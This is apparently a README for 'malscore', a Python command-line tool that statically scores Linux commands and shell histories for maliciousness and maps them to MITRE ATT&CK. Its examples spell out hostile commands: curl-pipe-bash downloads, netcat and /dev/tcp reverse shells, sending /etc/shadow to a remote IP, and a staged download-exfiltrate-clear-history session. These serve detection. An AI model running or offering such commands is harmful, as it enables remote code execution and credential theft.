
Оценка вредоносности для команд Linux
malscore принимает командную строку Linux или сессию команд, например историю
shell, и возвращает оценку вредоносности от 0 до 100 с диапазоном вердикта и
сопоставлением с MITRE ATT&CK:
command(s) → features → signals → score + MITRE mapping
Он никогда ничего не выполняет, не раскрывает и не разрешает — он только читает текст
(обеспечивается tests/test_safety.py). У него нет зависимостей, кроме стандартной
библиотеки Python (3.8+).
pip install malscore # provides the `malscore` command
Из исходного репозитория:
pip install . # or run without installing, from the repo root:
python3 -m malscore "<command>"
# one command
malscore "curl -s http://45.33.2.1/x.sh | bash"
# the command from stdin
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
# a session: one command per line, scored individually and across commands
malscore --session history.txt
history | cut -c8- | malscore --session -
# every command in a telemetry feed, high or worse only
malscore --batch events.jsonl --min-verdict high
# full evidence with MITRE technique ids
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
# machine-readable
malscore --session history.txt --json
# gate use: exit code 2 when the verdict is high or critical
malscore --session history.txt --fail-on high
from malscore import Analyzer
a = Analyzer()
r = a.assess_command("curl -s http://1.2.3.4/x.sh | bash")
print(r.score, r.verdict) # 67 high
print([h.id for h in r.hits]) # ['download_pipe_interpreter', 'raw_ip_url', ...]
print(r.techniques) # ['T1059.004', 'T1105', 'T1071.001']
r = a.assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
print(r.score, [h.id for h in r.hits]) # 75 ['staged_download_execution', ...]
print([c.score for c in r.per_command]) # each command's own assessment
print(r.as_dict()) # JSON-ready
Analyzer(redact=True) скрывает значения, похожие на учётные данные, прежде чем любой текст команды будет возвращён обратно; на оценки это не влияет.
Примеры:
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
██████████████████████░░ score 91/100 CRITICAL
tactics: exfiltration, credential-access, command-and-control
evidence:
[0.60] exfiltration Credential material is sent over the network
T1552 T1041
[0.55] credential-access The password hash database (/etc/shadow) is accessed
T1003.008
[0.35] exfiltration Data is sent over a raw socket
T1048
...
$ cat history.txt
cd /tmp
curl -s -o /tmp/.x http://45.33.2.1/x
chmod +x /tmp/.x
/tmp/.x
tar czf /tmp/etc.tgz /etc
scp /tmp/etc.tgz [email protected]:/srv/
history -c
$ malscore --session history.txt
████████████████████████ score 99/100 CRITICAL
history.txt
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
7 command(s), 6 flagged:
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz [email protected]:/srv/
████████████░░░░░░░░░░░░ L7 50 medium history -c
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
В файле сессии каждая непустая строка — это одна команда, воспринимаемая буквально: комментарии, продолжения строк и here-документы не обрабатываются. --batch работает иначе: он оценивает каждую команду из JSON-потока независимо, без анализа связей между командами.
| score | verdict | meaning |
|---|---|---|
| 80–100 | critical | форма редко бывает легитимной (reverse shell, стирание диска, учётная запись с uid 0) |
| 60–79 | high | веские доказательства; требует немедленной проверки |
| 35–59 | medium | подозрительно в большинстве контекстов (curl‑pipe‑shell, чтение shadow) |
| 15–34 | low | стоит отметить в сочетании с другими признаками |
| 0–14 | benign | рутинная активность |
Диапазоны и веса — это вручную настроенная отправная точка, а не обученная модель: каждая единица оценки восходит к именованному сигналу и технике MITRE ATT&CK.
sudo/env/xargs разворачиваются, подстановки и полезные нагрузки
-c анализируются рекурсивно, и вычисляются детерминированные признаки —
цепочки загрузки, затрагиваемые пути, поверхности персистентности, приёмы
кодирования, а также группа tradecraft (malscore/tradecraft.py), которая
распознаёт конкретные техники атакующих по форме.malscore/signals.py — это каталог из ~120 именованных сигналов:
предикат над записью признаков, вес в (0, 1], тактика MITRE и
идентификаторы техник. Вес читается как «насколько это вероятно враждебно,
если бы это было единственное, что мы знали». Каталог охватывает, по тактикам ATT&CK:
/proc/self/fd;/etc/shadow и приватные ключи, облачные метаданные,
поиск по ключевым словам учётных данных в конфигурационных файлах, чтение .pgpass/.netrc/
файлов облачных учётных данных, сбор переменных окружения и истории, перехват SSH-агента;sudo -u#-1, перехват PATH;/proc;DROP TABLE, массовое убийство процессов.